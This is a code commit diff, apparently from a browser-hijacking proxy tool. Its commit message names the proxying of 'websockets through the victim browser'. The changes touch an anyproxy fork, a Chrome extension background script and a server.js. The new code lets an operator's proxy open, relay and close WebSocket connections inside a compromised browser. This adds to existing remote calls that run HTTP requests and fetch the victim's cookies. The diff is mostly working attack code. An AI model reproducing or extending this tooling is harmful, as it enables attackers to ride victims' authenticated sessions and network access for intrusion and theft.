Added support for proxying websockets through the victim browser

anyproxy/lib/requestHandler.js

@@ -751,7 +751,8 @@ function getConnectReqHandler(userRule, recorder, httpsServerMgr) {
 * get a websocket event handler
   @param @required {object} wsClient
 */
-function getWsHandler(userRule, recorder, wsClient, wsReq) {
+function *getWsHandler(userRule, recorder, wsClient, wsReq) {
+
   const self = this;
   try {
     let resourceInfoId = -1;
@@ -762,10 +763,16 @@ function getWsHandler(userRule, recorder, wsClient, wsReq) {
     const serverInfo = getWsReqInfo(wsReq);
     const serverInfoPort = serverInfo.port ? `:${serverInfo.port}` : '';
     const wsUrl = `${serverInfo.protocol}://${serverInfo.hostName}${serverInfoPort}${serverInfo.path}`;
-    const proxyWs = new WebSocket(wsUrl, '', {
-      rejectUnauthorized: !self.dangerouslyIgnoreUnauthorized,
-      headers: serverInfo.noWsHeaders
-    });
+    let userWs = yield userRule.onWebSocketConnection(wsUrl, serverInfo, wsClient, wsReq);
+    let proxyWs;
+    if (userWs != null) {
+      proxyWs = userWs;
+    } else {
+      proxyWs = new WebSocket(wsUrl, '', {
+        rejectUnauthorized: !self.dangerouslyIgnoreUnauthorized,
+        headers: serverInfo.noWsHeaders
+      });
+    }
 
     if (recorder) {
       Object.assign(resourceInfo, {

anyproxy/lib/rule_default.js

@@ -78,4 +78,17 @@ module.exports = {
   *onClientSocketError(requestDetail, error) {
     return null;
   },
+
+  /**
+   *
+   *
+   * @param {any} wsUrl
+   * @param {any} serverInfo
+   * @param {any} wsClient
+   * @param {any} wsReq
+   * @returns
+   */
+  *onWebSocketConnection(wsUrl, serverInfo, wsClient, wsReq) {
+    return null;
+  },
 };

anyproxy/lib/wsServerMgr.js

@@ -4,6 +4,8 @@
 */
 const ws = require('ws');
 const logUtil = require('./log.js');
+const co = require('co');
+
 
 const WsServer = ws.Server;
 
@@ -18,7 +20,9 @@ function getWsServer(config) {
     server: config.server
   });
 
-  wss.on('connection', config.connHandler);
+  wss.on('connection', co.wrap(function *(wsClient, wsReq) {
+    yield config.connHandler(wsClient, wsReq);
+  }));
 
   wss.on('headers', (headers) => {
     headers.push('x-anyproxy-websocket:true');

extension/src/bg/background.js

@@ -19,15 +19,106 @@ var redirect_table = {};
 const REQUEST_HEADER_BLACKLIST = [
     'cookie'
 ];
+const WEBSOCKETS = {};
 
 const RPC_CALL_TABLE = {
     'HTTP_REQUEST': perform_http_request,
     'PONG': () => { }, // NOP, since timestamp is updated on inbound message.
     'AUTH': authenticate,
     'GET_COOKIES': get_cookies,
     'RESET': reset,
+    'WS_CONNECT': ws_connect,
+    'WS_MESSAGE': ws_message,
+    'WS_CLOSE': ws_close,
 };
 
+// New RPC calls for websockets.
+async function ws_connect(params) {
+  let url = params.url;
+  let ws = new WebSocket(url);
+  let ws_id = uuidv4();
+  WEBSOCKETS[ws_id] = { ws, queue: [] };
+
+  ws.onopen = (event) => {
+    let queue = WEBSOCKETS[ws_id].queue;
+
+    while (queue.length > 0) {
+      ws.send(queue.shift());
+    }
+  }
+
+  ws.onclose = (event) => {
+    websocket.send(
+      JSON.stringify({
+        id: uuidv4(),
+        action: "WS_CLOSE",
+        data: {
+          websocket_id: ws_id,
+        },
+      }),
+    );
+    delete WEBSOCKETS[ws_id];
+  }
+
+  ws.onmessage = async (event) => {
+    let data = event.data;
+    let base64 = false;
+    if (data instanceof Blob) {
+      let buf = await data.arrayBuffer();
+      let b64 = arrayBufferToBase64(buf);
+      data = b64;
+      base64 = true;
+    }
+    websocket.send(
+      JSON.stringify({
+        id: uuidv4(),
+        action: "WS_MESSAGE",
+        data: {
+          websocket_id: ws_id,
+          message: data,
+          base64: base64,
+        },
+      }),
+    );
+  }
+
+  return { websocket_id: ws_id };
+}
+
+async function ws_close(params) {
+  let ws_id = params.websocket_id;
+
+  if (!(ws_id in WEBSOCKETS)) {
+    return true;
+  }
+
+  let { ws } = WEBSOCKETS[ws_id];
+
+  if (ws && ws.readyState === 1) {
+    ws.close();
+  }
+
+  return true;
+}
+
+async function ws_message(params) {
+  let ws_id = params.websocket_id;
+
+  if (!(ws_id in WEBSOCKETS)) {
+    return true;
+  }
+
+  let { ws } = WEBSOCKETS[ws_id];
+
+  if (ws && ws.readyState === 1) {
+    ws.send(params.message);
+  } else {
+    WEBSOCKETS[ws_id].queue.push(params.message);
+  }
+
+  return true;
+}
+
 
 async function reset(params) {
     // We've been reset, clear local identifier and reconnect
@@ -536,4 +627,4 @@ chrome.webRequest.onHeadersReceived.addListener(function (details) {
     }
 
     await startHeartbeat();
-})();
+})();

server.js

@@ -35,9 +35,12 @@ const PROXY_PORT = process.env.PROXY_PORT || 8080;
 const WS_PORT = process.env.WS_PORT || 4343;
 const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118;
 const SERVER_VERSION = '1.0.1';
+const WEBSOCKETS = {};
 
 const RPC_CALL_TABLE = {
     'PING': ping,
+    'WS_CLOSE': ws_close,
+    'WS_MESSAGE': ws_message,
 }
 
 const REQUEST_TABLE = new NodeCache({
@@ -46,6 +49,48 @@ const REQUEST_TABLE = new NodeCache({
     'useClones': false, // Whether to clone JavaScript variables stored here.
 });
 
+function toArrayBuffer(buffer) {
+  const arrayBuffer = new ArrayBuffer(buffer.length);
+  const view = new Uint8Array(arrayBuffer);
+  for (let i = 0; i < buffer.length; ++i) {
+    view[i] = buffer[i];
+  }
+  return arrayBuffer;
+}
+
+async function ws_message(websocket_connection, params) {
+  let ws_id = params.websocket_id;
+
+  if (!(ws_id in WEBSOCKETS)) {
+    return;
+  }
+
+  let ws = WEBSOCKETS[ws_id];
+
+  if (params.base64) {
+    let buf = Buffer.from(params.message, 'base64');
+    params.message = toArrayBuffer(buf);
+  }
+
+  ws.send_client(params.message);
+}
+
+async function ws_close(websocket_connection, params) {
+  let ws_id = params.websocket_id;
+
+  if (!(ws_id in WEBSOCKETS)) {
+    return;
+  }
+
+  let ws = WEBSOCKETS[ws_id];
+
+  // we don't want to send WS_CLOSE back to browser,
+  // because brower intiated it.
+  ws.close_client();
+
+  delete WEBSOCKETS[ws_id];
+}
+
 async function ping(websocket_connection, params) {
 
 
@@ -164,6 +209,46 @@ function get_browser_cookie_array(browser_id) {
     });
 }
 
+function send_to_browser(browser_id, action, data) {
+  return new Promise(function (resolve, reject) {
+    // For timeout, will reject if no response in 30 seconds.
+    setTimeout(function () {
+      reject(`Request Timed Out for URL ${browser_id}!`);
+    }, (30 * 1000));
+
+      const message_id = uuid.v4();
+
+      var message = {
+          'id': message_id,
+          'version': SERVER_VERSION,
+          'action': action,
+          'data': data,
+      }
+
+      // Add promise resolve to message table
+      // that way the promise is resolved when
+      // we get a response for our HTTP request
+      // RPC message.
+      REQUEST_TABLE.set(
+          message_id,
+          resolve
+      )
+
+      // Subscribe to the proxy redis topic to get the
+      // response when it comes
+      const subscription_id = `TOPROXY_${browser_id}`;
+      subscriber.subscribe(subscription_id);
+
+      // Send the HTTP request RPC message to the browser
+      publisher.publish(
+          `TOBROWSER_${browser_id}`,
+          JSON.stringify(
+              message
+          )
+      );
+  })
+}
+
 function send_request_via_browser(browser_id, authenticated, url, method, headers, body) {
     return new Promise(function (resolve, reject) {
         // For timeout, will reject if no response in 30 seconds.
@@ -363,6 +448,22 @@ const options = {
                 }
             };
         },
+        async onWebSocketConnection(wsUrl, serverInfo, wsClient, wsReq) {
+          let auth = global.proxyAuthPassthru[wsReq.socket.remotePort];
+
+          const auth_details = await get_authentication_status(
+            {"Proxy-Authorization": auth.proxy_authorization}
+          );
+          const browserId = auth_details.browser_id;
+
+          const ws = new WebSocketProxy(wsClient, wsUrl, browserId);
+
+          await ws.connect();
+
+          WEBSOCKETS[ws.websocket_id] = ws;
+
+          return ws;
+        },
     },
     webInterface: {
         enable: false,
@@ -374,6 +475,46 @@ const options = {
     silent: !(process.env.DEBUGGING === "yes")
 };
 
+function WebSocketProxy(ws_client, ws_url, browser_id) {
+  this.ws_client = ws_client;
+  this.ws_url = ws_url;
+  this.browser_id = browser_id;
+  this.websocket_id = null;
+  this.readyState = 0;
+
+  this.onopen = () => {}
+
+  this.connect = async () => {
+    try {
+      const result = await send_to_browser(this.browser_id, 'WS_CONNECT', {url: this.ws_url});
+      this.websocket_id = result.websocket_id;
+      this.readyState = 1;
+      this.onopen()
+    } catch(e) {
+      console.log('WS_CONNECT FAIL', e)
+    }
+  }
+
+  this.close = (event) => {
+    send_to_browser(this.browser_id, 'WS_CLOSE', {websocket_id: this.websocket_id})
+  }
+
+  this.close_client = () => {
+    this.ws_client.readyState === 1 && this.ws_client.close();
+  }
+
+  this.send = (message) => {
+    send_to_browser(this.browser_id, 'WS_MESSAGE', {websocket_id: this.websocket_id, message})
+  }
+
+  this.send_client = (message) => {
+    this.ws_client.readyState === 1 && this.ws_client.send(message);
+  }
+
+  this.on = (event, callback) => {
+  }
+}
+
 async function initialize_new_browser_connection(ws) {
     logit(`Authenticating newly-connected browser...`);